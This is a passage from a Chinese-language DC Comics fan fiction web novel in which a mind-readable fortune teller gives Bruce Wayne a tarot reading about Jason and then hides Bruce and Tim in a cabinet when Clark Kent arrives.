布鲁斯还没将能听到他心声的事已经暴露告诉阿尔弗雷德，他微微吐出一口气，将椅子推离控制台一些：“帮我准备吧，不过我自己上去就好。” 阿尔弗雷德点了点头：“好的。” * 大概因为今天是工作日的关系，店铺开张已经两个多小时，连一个客人都没有。 卡修斯叹了口气，反正也没生意，他准备先给自己弄点吃的。 再次感谢贴心的提姆少总，居然给他的店铺还搞出一个小小的厨房局域，虽然只能做一些油烟小的白人饭，但卡修斯也很满足了。 他系上围裙，拿出千辛万苦才海淘成功的小电煮锅，淘了点米，又切了点牛肉丝，打了个鸡蛋，煮个牛肉滑蛋粥，自己吃一半，剩下一半等提姆醒来刚好可以吃。 很快，粥的香味开始在房间里弥漫。卡修斯一手捧着脸，一边慢慢搅拌已经煮的很浓稠的粥。 就在他关掉电源的时候，听到门口的风铃响了。 他一抬头，就看到穿着西装的蝙蝠侠……不是，布鲁斯，正站在店门口。 “我看门口写着正在营业，所以直接进来了。”他解释道。 卡修斯：…… 布鲁斯耸了耸鼻子，然后盯着他面前的锅：“在做饭？挺香的。” 卡修斯：…… 布鲁斯正在想，这小子现在倒是老实了，不外敷外敷的乱叫了。 就听到自己的脑海里又响起卡修斯的声音。 “该死的墨菲定律现在千万不要应验！” 布鲁斯迷惑了一瞬：“什麽墨菲定律？” 卡修斯：……忘了他能听到我心声了。 布鲁斯相当无辜的冲他笑了笑：“别紧张，我……” 卡修斯身后写侧方的门把手转动了一下，布鲁斯就看到自己的小儿子果着上半身，半眯着眼站在门口：“你在煮什麽？被香醒了，肚子饿了，这两天光啃能量棒了，难吃死了。” 很明显是还没有清醒的样子。 布鲁斯的笑容消失了。 卡修斯：…… 麻了。 第55章 你的心声在排挤我？ 提姆的眼睛还没睁开，他动了动鼻子，顺着香味儿飘到卡修斯旁边，非常熟练地从岛台下面的柜子里摸出一个碗，然后接过卡修斯手里的勺子，从小电锅里给自己盛了一碗粥。 他的动作娴熟得仿佛自己才是这个房间的主人。 卡修斯简直不敢去看布鲁斯的脸色，只能一边咳嗽一边使劲戳提姆。 提姆被戳得差点把刚喝进嘴里的粥吐回碗里。 他不满地瞪了卡修斯一眼：“你干什麽？感冒了？” “你爹来了……”卡修斯嘴唇没动，声音是从齿缝里挤出来的。 提姆这才睁眼，像是才注意到房间里有第三个人。 “啊……布鲁斯，你也是来占卜的吗？想要了解运势走向的话可以选星座占卜，具体事件的预兆可以用塔罗占卜，如果是找东西的话，可以用梅花易数……” 提姆说话慢吞吞的，带着一股还没睡醒的困顿。 卡修斯不知道提姆少总发什麽疯，为什麽搞得他跟自家店员似的，只能在心里疯狂为自己辩白：“是他今天早上突然出现在我家，非要住在这儿的哦，我可什麽都没干！” 提姆把碗放在台子上，含糊地说：“不打扰你做生意，我再去睡一会儿……” 卡修斯一把抓住他：“不许走！跟你爹说清楚！还我清白啊啊啊啊啊！” 提姆好像终于清醒了点似的，把眼睛睁得稍微大了些，无辜地看着卡修斯，像是在说：你想让我说什麽？ 布鲁斯叹了口气：“提姆……” 提姆这会儿像是已经清醒了，接话道：“我知道你要说什麽，我承认没有在第一时间告诉你红头罩的身份是我的错，但我只是希望更谨慎一些，大家都知道，你一碰到和杰森有关的事，就会变得不太理智……” 这可就错了，蝙蝠侠在对待红头罩的问题上，不要太理智哦，宁愿对他的好二儿扔蝙蝠镖也不愿受他胁迫杀小丑……不对，提姆是什麽时候知道红头罩就是杰森的？不会就是上次杰森夜访病房的时候吧……住脑吧！ 卡修斯习惯性地在心里碎碎念，无意间瞥到蝙蝠侠看自己的眼神，再次想起自己漏成蜂窝煤的心声。他忍不住往后退了几步，和对方拉开一定距离。 布鲁斯则在想，杰森什麽时候胁迫自己杀小丑了？难道这是在卡修斯的宇宙，昨晚本该发生的事吗？所以他就先动了手？ 杰森是什麽时候夜访过卡修斯的病房？提姆从没提起过。 他倒是记得有一天晚上，红头罩起先格外安静，但也就是那天清晨，他突破了阿卡姆的警戒，带走了小丑。 这些线索终于连成一条完整的线。布鲁斯已经可以断定，提姆应该就是在那天卡修斯的病房遭遇红头罩时，因为对他们之间关系的在意，又碰巧拿到红头罩的生物数据，然后才调查了，结果意外发现了他就是杰森。所以他才会在泰坦塔布下陷阱，等着杰森去自投罗网。 这一切都和卡修斯有着若有似无的关系，而当事人却表现的并不了解这一切的样子。 布鲁斯实在看不出来他到底是真的不知道，还是装的。 但这都可以以后慢慢调查，他决定先把焦点集中到目前最重要的事情上。 他的视线在提姆赤果的上半身和卡修斯系着围裙的形象之间来回扫视，眉头在他不知道的时候皱的越来越紧。 “我想说的不是这个。”他的语气带着些无奈，也带着些迟疑。理论上来说，他并不介意孩子们发展一段浪漫关系，但…… 提姆乖巧的看着他，像是在等待他的教诲。 “我以为你更喜欢的是女孩……”布鲁斯最后憋出这样一句，虽然他知道自己想说的并不是这个。 知道自己的孩子在谈恋爱和亲眼看到两个人亲密无间的在一起，还是有差别的。 卡修斯疯狂点头。自从听说主刊把提姆许配给某个路人甲黄毛后，卡修斯就没再看过漫画，秉承着只要我不看，他们就永远不可能在一起的信念，他永远不承认黄毛的正宫地位！ 什麽黄毛粉毛绿毛，青少年的主要任务就是学习，青少年义警的主要任务是除暴安良，谈恋爱只会影响你出拳的速度，爸爸我不允许你谈恋爱！就算喜欢的是我也不行！ 布鲁斯：…… 这次卡修斯的心声他没听得太全，主要是前半部分。也不知道他为什麽会忽然提到黄毛什麽的。但他打算给提姆当爸爸的决心布鲁斯倒是听的真真切切。 “我也没说过我不喜欢同性。”提姆回答。 布鲁斯已经看出提姆对卡修斯有点意思了。这孩子一向谨慎，对待需要达成的目标，也懂得步步为营。所以，一开始的冲击过去后，理智回笼，他认为提姆绝对是故意这样出现在自己面前的，算是变相地向他出柜，表明自己的心意。 布鲁斯又看了眼完全在状况外的卡修斯，觉得提姆的追求之路大概并不会那麽顺利。 虽然心里有些酸涩，但如果现在提姆愿意投入一段浪漫关系，布鲁斯也还是非常喜闻乐见的——虽然提姆没有说过，但他知道过去的一年里，他的生活有多艰难。 “不过即便你们没有怀孕的风险，也要注意安全……”布鲁斯试图表现出自己的开明。 卡修斯捂着耳朵尖叫着打断他：“啊！住口啊！要不要听听你在说什麽？！他还是个孩子！我不可能跟他那啥的啊！” 布鲁斯：…… 迪克在比提姆还小的时候就已经不是处男了，他对这个还真不太在意，但卡修斯好像非常在意年龄问题。 他知道卡修斯在原本的世界里是生活在华国的（因为他的心声都是中文），这大概是文化差异吧。 看来提姆的追求之路相当艰难，至少在他成年之前，卡修斯应该都不会答应他的。 不知道为什麽，布鲁斯竟然还挺欣赏这种含蓄的东方风格的。 所以他递给提姆一个“需要帮忙吗”的眼神。 提姆想起自己以前约会的时候，布鲁斯是怎麽“帮忙”的，果断摇了摇头。同样递给他一个眼神，意思是：你别管，我有自己的节奏。 卡修斯看着这父子俩的眉眼官司，觉得自己站在这里简直多余，他缓缓抬手，想提议他们父子换个地方进行心电感应。 没想到布鲁斯第一时间开口道：“我本来就是来找你的。” 提姆看了看布鲁斯，猜到卡修斯心里大概在想怎麽把自己赶走，也接口道：“我还没睡醒，要再去睡一会儿。” 卡修斯：…… 我的嘴难道是摆设吗？ “等一下，我有个问题想先问清楚。”卡修斯说。 布鲁斯：“你说。” “我想知道，现在到底有谁能听到我的心声？你们两个都听的到吗？”卡修斯的神情变的严肃。 他记得自己以前试探过提姆，当当时他表现的可是完全听不到自己心声的样子。如果提姆那个时候是演的，他可是真的会生气！ 提姆挑眉看向布鲁斯，万万没想到这个秘密居然被卡修斯知道了。 想起自己以前当着蝙蝠侠的面，自己到底想过多少羞耻的东西，他觉得自己都可以脱粉了，但目前还是得强忍着羞耻问个清楚。 虽然他曾扬言要当哥谭市里最狂的，但绝不是想以这种方式成为小丑。 布鲁斯忍不住想笑，但蝙蝠侠的敏锐阻止了他这麽做，他知道，自己一旦笑出来，卡修斯可能真的会连夜逃离哥谭。 “我真的听不到。”提姆马上举手发言，第一个撇清自己。 卡修斯拧眉看着他，一副不大敢相信的样子。 布鲁斯考虑了一阵，决定还是对他实话实说：“我，迪克，阿尔弗雷德，如果算上杰森的话，目前我知道的就这些。” 卡修斯的脸绿了。 他记得自己在对着阿尔弗雷德的时候，好像也想过那麽一点不大庄重的东西。 布鲁斯忍不住安慰他：“阿尔弗见多识广，他不会介意的，而且他相当欣赏你的正直和勇气……” 卡修斯虚弱的摆了摆手，示意他别说了。 以后和他们蝙蝠家绝对要保持距离，能不见面最好还是不要见面了。 这可不是什麽好消息。 布鲁斯马上说：“那些无伤大雅的小玩笑，我们都不会放在心上的，你没必要……” 卡修斯：“虽然你们不放在心上，但我还是要脸的，以后如果没有必要的话，希望我们还是不要见面了吧……” 布鲁斯使劲给提姆使眼色，希望他能安抚一下卡修斯。 提姆：“我可真的从没听到过你的心声，我们还是可以见面的吧。” 听到这个，卡修斯的眉毛更纠结的簇在了一起：“为什麽你们家里人都听得到，就你听不到？” “对啊，我也想知道，我为什麽听不到，你的心声为什麽区别对待，排挤我？”提姆一脸受伤的反问。 “我……”卡修斯被他绕进去了，甚至还莫名其妙的生出点奇怪的愧疚感。 算了，暂时相信你。 布鲁斯想起另一件事，当初在狄克逊码头的时候，他听卡修斯的心声发现，对方好像能听到拉尔斯在想什麽，于是立刻问道：“你是不是能听到拉尔斯的心声？” 卡修斯震惊的看向布鲁斯，再次连退好几步。 布鲁斯马上说：“别紧张，是当初在狄克逊码头的时候，你的心声告诉我的。” 卡修斯这才悄悄松了口气，他这才后知后觉的意识到，布鲁斯现在装都不装了，这就是明明白白把自己的秘密身份拿出来说了。 “除了拉尔斯，你还听到过谁的心声？” 卡修斯自然而然的想到了自己第一次听到山猫心声时的震惊。 还有就是，认出尼尔后，自己也突然听到了他的心声。 然后就是毒藤女，最后是小丑…… 卡修斯果断地开始背诵24字。 他猜蝙蝠侠对杀死小丑的凶手多少心里是有点数的，他没有明说，不代表他不知道。自己还是得稍微低调一点。 这次，布鲁斯垂眸思索了更长时间。期间，提姆忽然问道：“你是怎麽发现自己的心声能被听到的？” 提姆感觉这个秘密应该就是最近才暴露的。 卡修斯有气无力的说：“红头罩说的。” “那你第一次见到他的时候，为什麽他没听到？”提姆迅速抓住了重点。 他相信，以杰森的性格，如果那天他就听到了卡修斯的心声，当时绝不会没有任何表露的。 “因为我那天根本没认出他是……” 他的声音戛然而止。 布鲁斯也抬头看向了卡修斯。 只要被他认出身份，就会被听到或听到对方的心声。山猫虽然是酒吧老板，但她也是金龙帮的老大，尼尔现在还是被FBI通缉的国际大盗，拉尔斯，毒藤女，还有小丑更不用说了，反派中的反派。 而蝙蝠侠，夜翼，阿尔弗雷德，都属于超级英雄那一挂的，至于红头罩，可能卡修斯从来不觉得他是坏人，是反派，所以他也被归类在了超级英雄的阵营里？ 虽然这麽分类，他本人可能会很有意见。 可是提姆呢？卡修斯再次陷入沉思。 总不会提姆在他心里也是个路人甲吧？ 卡修斯忽然想起一件事。 “你等一下！” 他跑到卧室，从床底的箱子里取出那只红色高跟鞋，又噔噔噔跑了出来。 “呐，试试看吧，辛德瑞拉？” 本站无弹出广告 第56章 占卜大师要开始忽悠…… 布鲁斯挑起一边眉毛，他还以为提姆早就回收了这只鞋，没想到居然还在卡修斯手里。 提姆看着他手中的高跟鞋，沉默了很久，直到卡修斯再次将鞋往前递了递，提姆才伸出手。 他的手心贴在卡修斯的手背上轻轻握住，将鞋推了回去。 “这不是我的。” 他说。 卡修斯感受到提姆手心温热，他带着些蛊惑般的笑容，说：“真的不试吗？” 提姆看着他，反问：“你想让我试吗？如果你想，我会穿的。” 卡修斯慢慢放下嘴角，他看了提姆一会儿，才说：“我猜你也很想知道我在想什麽吧？” 提姆：“我更希望只知道你想让我知道的。” 剩下的，我会自己去挖掘。 布鲁斯：第一次前排观赏提姆撩汉，就……心情复杂，世界果然还是年轻人的。 卡修斯重新笑了起来，这次的笑容更真诚了些。他收回了那只高跟鞋。 “好吧，什麽时候你想试它了，可以随时来找我。” 提姆没有回答他。 如果卡修斯能被听到或者听到对方的心声的条件真的如大家所想的那样，需要确认对方的身份，那麽他大概永远也不会对他承认卡洛琳·希尔这个身份。 提姆知道，一旦自己也能听到他的心声，也许就彻底失去了靠近他内心的机会。 他才不会做这种傻事呢。 布鲁斯战术性清了清嗓子，暂时打破了空气里疑似暧昧的气氛。 关于卡修斯能听到和被听到心声这个能力的触发范围和机制还需要更多样本的验证，但他今天来可不是为了这件事。 “其实我今天来……” 布鲁斯刚开口，卡修斯就打断他：“等一下，刚才说了那麽多，你就不怕我这儿还有其他人放的监听设备吗？” 毕竟现在刺客联盟好像还挺在意他的，而不管是布鲁斯还是提姆，好像都已经完全放弃了在他面前伪装身份。 布鲁斯摇头：“没关系，我随身携带了信号干扰设备。” 卡修斯忍不住冲他比了个拇指。 不愧是你啊，蝙蝠侠。 “所以你来这儿到底是干什麽的？”提姆双手环臂，语气甚至隐约有些嫌弃。 布鲁斯惊讶地看了提姆一眼。 以前提姆对自己最常说的一句话是“你需要什麽？”，倒是从来没听他用这种隐约带着些不耐烦的语气跟自己说话。 果然是有了喜欢的人，就不一样了吗？ 布鲁斯居然难得地体会到儿大不中留的辛酸。于是他故意举了举手里的一只礼盒，说：“也没什麽大事，阿尔弗让我来恭贺命运纺车重新开张。” 说完，他亲自将礼盒塞到卡修斯手中，带着些布鲁西营业式的深情，说：“阿尔弗说你很喜欢我，谢谢你的喜欢。” 说罢还给他抛了个wink。 提姆：…… 卡修斯：……已老实，求放过。 “谢谢您和潘尼沃斯先生，我感动极了。不过我等一下还有个预约客人要过来，您要是有事的话，先去忙？” 卡修斯变相赶人。 从没想过有一天，自己居然还会有把布鲁斯赶出自己家的一天。 别问，问就是爱过。 只见布鲁斯从口袋里拿出一叠美金。 卡修斯的视线顿时黏在了他的手上。 “其实我今天来，确实是来占卜的，听我同事说，你这里的占卜很灵。” 卡修斯非常没有出息地咽了口口水，盯着他手中的富兰克林像，说：“其实我也可以把预约客人往后挪一挪的，韦恩先生在哥谭本来就是有特权……” 提姆看着卡修斯这副没见过钱的样子，十分恨铁不成钢地闭了闭眼，决定以后给他多花点钱，让他的眼皮子不要那麽浅。 卡修斯接过布鲁斯手里的钱，连中饭都不吃了，赶忙帮他拉开椅子，让他坐在自己平时接待客人的工作台前，问：“那麽，韦恩先生，我们这就开始吧，你想问什麽问题呢？” 说着，卡修斯点燃了桌边了一根线香，在缭绕的烟雾和檀木香气的加持下，好让这场占卜变得更有仪式感。 可布鲁斯想要占卜的问题很简单。 “我想知道，我二儿子过去的五年里，都经历了什麽。如今他又在想些什麽，我要怎麽做，才能让他重新回到我身边。” 布鲁斯轻声说。 他的话音落下后，连一边原本站姿随意，打算吃瓜的提姆，神情都变得严肃了起来。 卡修斯的表情僵硬了一瞬。 原来这才是布鲁斯今天来这里的最主要的目的。 卡修斯有些为难。 主要是，他对杰森在刺客联盟的了解只来源于漫画，而从现在的情况看来，现实是可以被改变的。所以他现在也不确定漫画里发生过的事到底还是不是这个世界曾经发生过的事。更不确定他所知道的，未来会发生的事，还会不会发生。 “没关系，就按照你的占卜流程来吧，无论是什麽样的结果，我都会接受。” 布鲁斯说。 卡修斯的心声里，有一部分词他是读不到的，他只能根据现有的信息去猜测，卡修斯熟知那个世界里，杰森的命运，现在因为某些原因，有些事情在这个世界并没有发生，因此他也不能确定未来会怎麽样。 “不要透露太多有关未来的事。” 提姆在一旁提醒道。他还记得当初卡修斯是因为什麽原因而呼吸过度的。 布鲁斯点了点头，对他做了一个“请”的手势。 卡修斯可绝对不相信是他凭借着半路出家的高超占卜技术打动了布鲁斯，况且布鲁斯除了数据和自己，连神佛都不信，又怎麽可能相信玄学？ 他是笃定自己一定知道杰森的过去，所以故意来问自己的。 看他的眼神，可能就算今天自己说不知道，他也不会轻易放弃。 卡修斯只能拿出塔罗牌，慢慢洗牌，请他切牌。 在洗牌的过程中，他的脑子里已经在过，和杰森有关的剧情了。 拉尔斯怎样用一具假的人体模型骗过了伤心过度，连敏锐度都下降的布鲁斯，又将真正的杰森放进拉撒路池。 杰森被池水吞噬，重组，然后自己爬上岸。 被池水影响了神智的他很久都不知道自己是谁，只能凭借本能去战斗。 塔利亚是个负责人的老师，她精心的，手柄手的教导他，终于让他学会了杀戮。 很难说他们之间没有除了师生之外的其他感情，至少，后来塔利亚将杰森送去大种姓学习的时候，是抱着希望他能远离刺客联盟的内部冲突才这麽做的。 卡修斯知道，他想的这些，布鲁斯都能听到，他也希望布鲁斯能听到，只有这样，布鲁斯可能才会明白，杰森为什麽会变成今天这样。 因为这就是刺客联盟的生存法则，如果你不杀死别人，就要被别人杀死。如果你不心怀仇恨，你就活不下去。 他想这些的时候，布鲁斯始终垂着眼，让卡修斯看不清他脸上的表情。 卡修斯将切好的塔罗牌呈扇形铺开，暗金色的牌在烛火下隐隐泛着光泽。 他示意布鲁斯可以抽牌了。 “想着你想要知道的问题，让直觉牵引你的能量。”卡修斯拉长声音，完全进入工作状态。 提姆在一旁看着有趣。不管他算的准不准，至少噱头很足，情绪价值拉满了。 布鲁斯对抽牌的过程并没有犹豫许久，他本来也不是为了算命而来的，再加上刚才他已经听到的，关于杰森在刺客联盟中的境遇，心情算不是很好，所以看都没看，快速抽了三张。 就在他要全部翻开的时候，卡修斯按住他的手，将三张牌拿到自己手里，又背面朝上，依次放在牌桌上。 然后才示意他，可以去翻第一张牌了。 “你知道，我想要的不是这个。”布鲁斯不太满意的微蹙起眉。其实他不需要卡修斯做什麽，只要他在心里回忆他所知道的，关于杰森的点点滴滴就够。他确实不相信这种游戏式的占卜，也不觉得真的能通过占卜得到什麽有用的结果。 “韦恩先生，既然抽了牌，就尊重一下规则吧。” 卡修斯提醒道。 布鲁斯觉得卡修斯还挺敬业的，他在占卜的时候心里还就真的什麽都没想。 他抬手翻开第一张牌。 画面中一座高塔正矗立在电闪雷鸣之中，牌位翻转，好像大厦倾塌。 “过去：逆位【塔】” 卡修斯用手指关节叩了叩牌面：“崩塌的不是建筑，而是灵魂的锚点，他的信念被强行重组，但重组的过程……”卡修斯顿了顿，忽然想起今天早些时候，梦里的片段，杰森在池水中痉挛的模样。 他闭了闭眼，不想让自己的主观情绪去影响占卜，说道：“就像把打碎的骨头重新用岩浆粘合。” 杰森很长时间都处于一种矛盾的情绪里，一方面，他相信布鲁斯是爱他的，另一方面，他又无法接受蝙蝠侠还能容忍小丑活着。他的情绪被反复拉扯，所以太容易被塔利亚操控，而且，他也心甘情愿被她操控。 布鲁斯动了动嘴唇，但他没说什麽，只是沉默的翻开了第二张牌。 “正位【圣杯二】” 牌面上两只交叠的圣杯中涌出红色的汁液，杯口开满了玫瑰。 “这是什麽意思？” 布鲁斯好像终于被他带入这种神秘学的气氛了，居然主动开口提问。 “这是你的第二个问题，他现在想要什麽。” 两人同时沉默了一阵。 杰森想要什麽呢？杰森生长于犯罪巷，父亲是个人渣，母亲又太软弱，只能依附父亲生存，最后还染上D瘾。他不顾一切地去查找生母，最后却被生母背叛，最终落得客死异乡的下场。 成为罗宾曾是他生命里最亮的光，布鲁斯也是他视作父亲的人。 杰森从小没有得到过爱，所以他一直都在查找爱，想要证明自己值得被爱，为此万死不辞。 他可以为不爱他的母亲付出生命，所以也愿意为他付出了全部爱意的布鲁斯献上灵魂。 他唯一的希望就是，希望布鲁斯同样爱他。 但是布鲁斯做不到。因为这是他没有的东西。 “还不解牌吗？” 布鲁斯突然出声，打断了他心中所想。 卡修斯看了他一眼，说：“圣杯二正位通常代表着不灭的情感羁绊……你看这些玫瑰，它们的根茎纠缠生长，可偏偏持杯之人将它们徒手分开。” 他停顿了一下，才继续说：“说明杰森所求的这份爱，注定让他满身伤痕。” 布鲁斯沉默了更长时间，最后一言不发地掀开了第三张牌。 “逆位【隐士】” 卡面上戴着黑色斗篷的独行者转身走向悬崖，他手中的提灯坠入深渊。可因为这张牌呈逆位，所以看上去像是提灯缓缓升起，正在照亮悬崖上的人。 “他会在求而不得的路上意识到，除了自己，没有人能解决我们的内心，有些光注定要独自点亮。” 提姆忽然轻笑一声：“你的解释有些太意识流了，好像怎麽理解都可以。” 他本来还担心卡修斯会因为说了不该说的，又出现什麽莫名其妙的意外，现在完全发现自己的担心完全是多余的。 卡修斯耸了耸肩：“占卜本就是如此，只能指引方向，不会确定未来。” 布鲁斯想了想，说：“你是想说，他不会原谅我，也不会再回来了。” 卡修斯摇了摇头：“我可没这麽说，他只是会找到最合适自己的路，哪怕这条路和你希望他走的不是同一条。” “你很了解杰森。” 布鲁斯突然说。 卡修斯顿了一下，嘟囔着：“其实也没有……” 只是当初看漫画比较投入而已。 布鲁斯还想说什麽，就看到提姆的神色不太好，他立即意识到自己好像是说错了话，无意间增加了杰森和提姆之间的矛盾。 所以他将原本想继续问的话咽下去，另说了一句：“你也很了解提姆。” 卡修斯愣了一下，看向布鲁斯的时候，才想起，他说的大概是当初自己被杰森抓走的时候，在那间后来被炸毁的屋子之前，替提姆辩白过。 他很想知道，在卡修斯原本的世界，他和他们之间到底是什麽关系。 但卡修斯从来不愿主动提及，所以他也尊重对方的意愿，没有刻意问过。 其实他刚才想问的是，在他开始占卜前的心声中，只有杰森，却从来没有他自己的存在，他想知道，当时他在哪里？ 卡修斯说自己是来自另一个宇宙，根本没有三个月前的记忆，但从杰森的反应来看，不是这样的。 杰森很笃定他在刺客联盟认识的那个人就是卡修斯。 所以，卡修斯也许真的是记忆出了问题。这很有可能跟他参与的实验，以及他身上那个会变形的纹身有关。 这两天他发现刺客联盟的杀手们正在悄悄撤出哥谭，而他在暗中调查林肯·马奇的时候发现，他居然跟刺客联盟有往来。 猫头鹰法庭的利爪们自那次狄克逊码头的亮相后，再次蛰伏起来，而林肯·马奇作为法庭可能的高层人员，这个时候和刺客联盟的人往来，显然另有所图。 和林肯马奇接触的人非常谨慎，蝙蝠侠几次跟踪，居然都没有摸到对方真正的身份，他怀疑这个人就是塔利亚。刺客联盟里，恐怕塔利亚才是比拉尔斯更了解自己的人。 卡修斯的心声曾提到过，猫头鹰法庭的神经会被韦恩集团“重建哥谭”的计划触动，从而出来行动，既然现在抓不到他们，布鲁斯打算提前启动这个计划，逼猫头鹰法庭出手。 但他并不打算把孩子们都牵扯进来，尤其是迪克和杰森，当然，提姆最好也不要参与。 所以，他沉吟了一会儿，说：“我很认可你的占卜术，现在对你的店铺追加投资。” 卡修斯：？ 还有这种好事？这跟天上掉馅饼有什麽区别？怪不得人人都爱布鲁西，刷我滴卡不是说说而已啊！ “不过要求是你最近需要到布鲁德海文亲自进行选址工作，你的分店要开在布鲁德海文。” 卡修斯：…… 就是说，有没有一种可能，我就没有开分店的计划呢？ 提姆也皱起眉，他意识到布鲁斯是在要求卡修斯暂时离开哥谭。 他当然不会以为布鲁斯是心血来潮，唯一的解释就是，哥谭又要有大事发生。 他还没说话，布鲁斯就指了指他：“你可以陪他一块儿去。杰森不是也在迪克那儿？他的精力可能不够应付两份工作再加上照顾一个成年的兄弟，提姆，你是最让我放心的孩子，希望你能帮迪克分担一些夜间的工作，布市你也比较熟，能给卡修斯提供一些成熟的意见。” 这不就是委婉的让他盯着迪克和杰森，让他们暂时都不要回哥谭吗？ 提姆刚想拒绝，就听到命运纺车门口的风铃又响了，只是这次来访者相当懂礼貌，即使门是虚掩着的，也规规矩矩的敲了三下门。 “老板，在吗？我是和你预约过的客人，能进来吗？” 门口传来一个好听的男中音。 卡修斯一下子跳了起来。 糟糕，忘记那个预约的客人了，主要是也没想到布鲁斯会在这儿留这麽久。 他记得那个客人说过自己是个记者。 布鲁斯忽然看向他。 但他没时间观察布鲁斯的表情，只知道他千万不能让记者看到哥谭的花花公子和他半果的儿子正和自己同处一室，那他真的是跳进哥谭河都洗不清了，谁都知道记者会为了一条爆炸性新闻做出多麽丧心病狂的事情。 “等……” 布鲁斯试图说话，但被卡修斯焦急地打断 “等什麽等，再等我就要喜提头版头条了！” 他来不及细想，就打算把人往卧室里推。 布鲁斯不是很想进他的卧室，脚跟粘在原地似的，完全拉不动。 “我进你的卧室不太方便……” 他已经能猜到来人是谁，要是被他用透视眼发现自己在卡修斯的卧室猫着，更说不清楚了。 卡修斯不知道这个有钱阔佬犯的是什麽毛病，但他很大度的选择原谅他。 刚好他的工作台旁边有一个一人高，两人宽的储物柜，这原本是他的衣柜，提姆帮他添置了新的衣柜后，他就将这个柜子搬出来打算改造成储物柜，只是里面的隔断还没做。 他拉开柜门，不由分说直接把布鲁斯和提姆一块推了进去。 也许是他太担心被记者乱写什麽不实报道了，恐惧让他催生了大力，大力又展现出了惊人的奇迹，他居然一手一个，把蝙蝠侠和罗宾都推进了柜子。 然后砰一声，关上了柜门。 于此同时，外面的人再问：“老板在吗？我进来咯。” 卡修斯挂上一个营业性的微笑：“请进。” 一个穿着比自己身形大至少一个码的不合身西装，西装里配着一个土掉渣的程序员专用衬衫，带着黑框眼镜的高大男人走了进来。 “欢迎光临。” 卡修斯笑着说。 男人不好意思地推了推眼镜：“你好，我是‘大都会普通市民CK’，很高兴见到你，你比我想象的还年轻一些，一直以为占卜师应该都是上了些年纪的呢……” 卡修斯干笑两人：“哈哈，你也比我想得更……高大一些。” 其实他的顾客一般都是女性居多，要不是他总是在评论里提及自己的妻子，卡修斯还以为他也是女性呢。 “你在吃饭吗？我是不是打扰到你了？”男人闻了闻空气中的香气，忽然有些不好意思。 “真的很抱歉，只能约中午这个尴尬的时间，主要是我们报社的采访任务比较紧，我只有这个时间可以利用。”男人一脸愧疚的不停道歉。 “没关系的，不用道歉，要不然，我们开始吧？”卡修斯问。 早开始，早结束，免得柜子里的两个人缺氧了。 克拉克一进来，就觉得有点不太对劲。 出于礼貌，他一般从不会胡乱使用透视功能侵入别人的私人领地，可一进来，他就听到，这个房间除了他们两个人，竟然还有两个人的心跳。 那两个心跳准确的从这个店主身后的柜子里传入他的耳朵。 这家店……不是个黑店吧？ 克拉克心生怀疑，但他表面上不动声色。 他悄悄用透视看了一下柜子，里面果然有两个人，而且一个年轻男人还半果着，根据他透视的骨龄上看，那个果着的年轻人还没成年！ 奇怪的是，不知道为什麽，两个人都刻意遮着脸，让他看不清容貌。 这家店，难道是打着占卜旗号，实际上是个拉皮条的暗女昌馆？ 克拉克的心中顿时燃起了熊熊的正义感，决定要揭露这个非法经营场所！ 第57章 B：外星人的脑子可能连着黑洞。 “我答应给你做一次人生大运测算，你想用东方的紫微斗数还是西方的星座占卜来算？” 卡修斯强迫自己不要去想柜子里面的人，语气平和地询问道。 克拉克还在用透视扫描这家可疑的占卜店。 这个店后面是个卧室，床铺淩乱，看上去就像刚刚发生过什麽不和谐的事！ 可是作为一个暗女昌馆来说，这里只有单纯一个房间和床铺是不是有点太少了？ 刚才虽然看不到柜子里那个成年人的脸，但是他的西装非常昂贵，看上去像是量体裁剪的。这些年他跟着阔佬韦恩也受了不少熏陶，培养出一点鉴赏上流社会浮夸装饰的眼力。 严谨的调查记者否认了一开始对这里是个暗女昌馆的判断，认为这是个专门为上流社会的有钱人提供他们变态爱好（比如LTP）场地的地方。 这就意味着这家店背后有更复杂的背景，不是那麽容易被撼动的。 小记者正在头脑风暴，根本没注意听卡修斯在说什麽。 “哦，东方的吧。” 他心不在焉地回答。 “好的，紫微斗术的话，需要提供一下你的姓名，年龄，出生日期……” 克拉克不知道自己具体的出生日期，但这不重要。从发现疑点的那一刻起，他在这里的目的就不是算命，而是揭露柜子里那个肮脏有钱人玩弄未成年人的变态恶行！ 就算一时半会撼动不了这些腐朽的资本家，他还可以给蝙蝠侠告状！让蝙蝠侠半夜去他们家拧断这个肮脏有钱人的迪克！ 克拉克义愤填膺。 “克拉克·肯特……” “等一下！” 卡修斯忽然大叫，把克拉克吓了一跳。 “你说你叫什麽？” 克拉克终于回过神，他看到对面这个疑似嫌疑人的占卜师正双目大睁地瞪着他，眼珠子都快要掉地上了。 “克拉克·肯特，怎麽了？” “克拉克·肯特？” 卡修斯复读机似的重复了一遍。 “有什麽问题吗？” “大都会？星球日报？” 卡修斯喃声问。 “是啊，你知道我？” 克拉克皱眉。这可就不好办了，自己确实写过好几篇挺有名的调查报道，如果被他生出警惕心，自己揭露恶势力的行为可能要受阻。 “你是大都会普通市民CK？？” 卡修斯再次重复。 “对啊。” 卡修斯一脸崩溃地看着他。 “我真傻，真的，他说他普通，我居然真的相信了。” 克拉克愣了一下，也惊讶地看向卡修斯。 怎麽回事，我又觉醒了一个新的超能力？ “原来氪星科技真的这麽神奇的吗？真的能靠一副眼镜隐藏身份？我也没瞎呀，怎麽还能受这种蒙骗？但是刚才不知道他是谁的时候，我确实没认出他跟超人只有一副眼镜的区别！” 克拉克震惊地瞪大了眼睛，卷毛都吓的从头上掉了下来。 “你……” 卡修斯看着面前的小记者一副突然惊恐的表情，渐渐察觉到不对劲。 “不会吧不会吧不会吧……” 他的表情逐渐绝望。原来他的社死不只面向蝙蝠家的吗？ 克拉克虽然不知道这是怎麽回事，但对方既然已经发现了自己的身份，那他也不打算装了。 他装出来的温和表情渐渐变得严肃，要不是顾忌着柜子里还有两个人，他就要露出超人的真面目，将这个黑心店主当场抓获！ 卡修斯看着面前表情肃穆的记者，虽然觉得自己应该害怕，但就是害怕不起来。 自从知道他是克拉克·肯特之后，眼镜再也阻挡不了卡修斯的正常认知。隔着眼镜，他也能看清超人那双不似凡人的，蓝到摄人心魄的眼睛。 这双眼睛正严肃地盯着自己，像是在忍耐怒意。 卡修斯看到的：狗狗生气。jpg 糟糕，超人的眼眶红了！不会是打算看杀自己吧？氪星人可是真正能从物理意义上做到“用眼神杀死你”！ 卡修斯有点慌张。 “印象里超人应该不是这麽小气的人吧，难道因为自己看穿他的身份，就要被灭口了吗？” “这是个正经超人吧？没变色吧？” 超人感受着从脑海里叽里咕噜滚过的废话，忍不住摸上自己的领带。 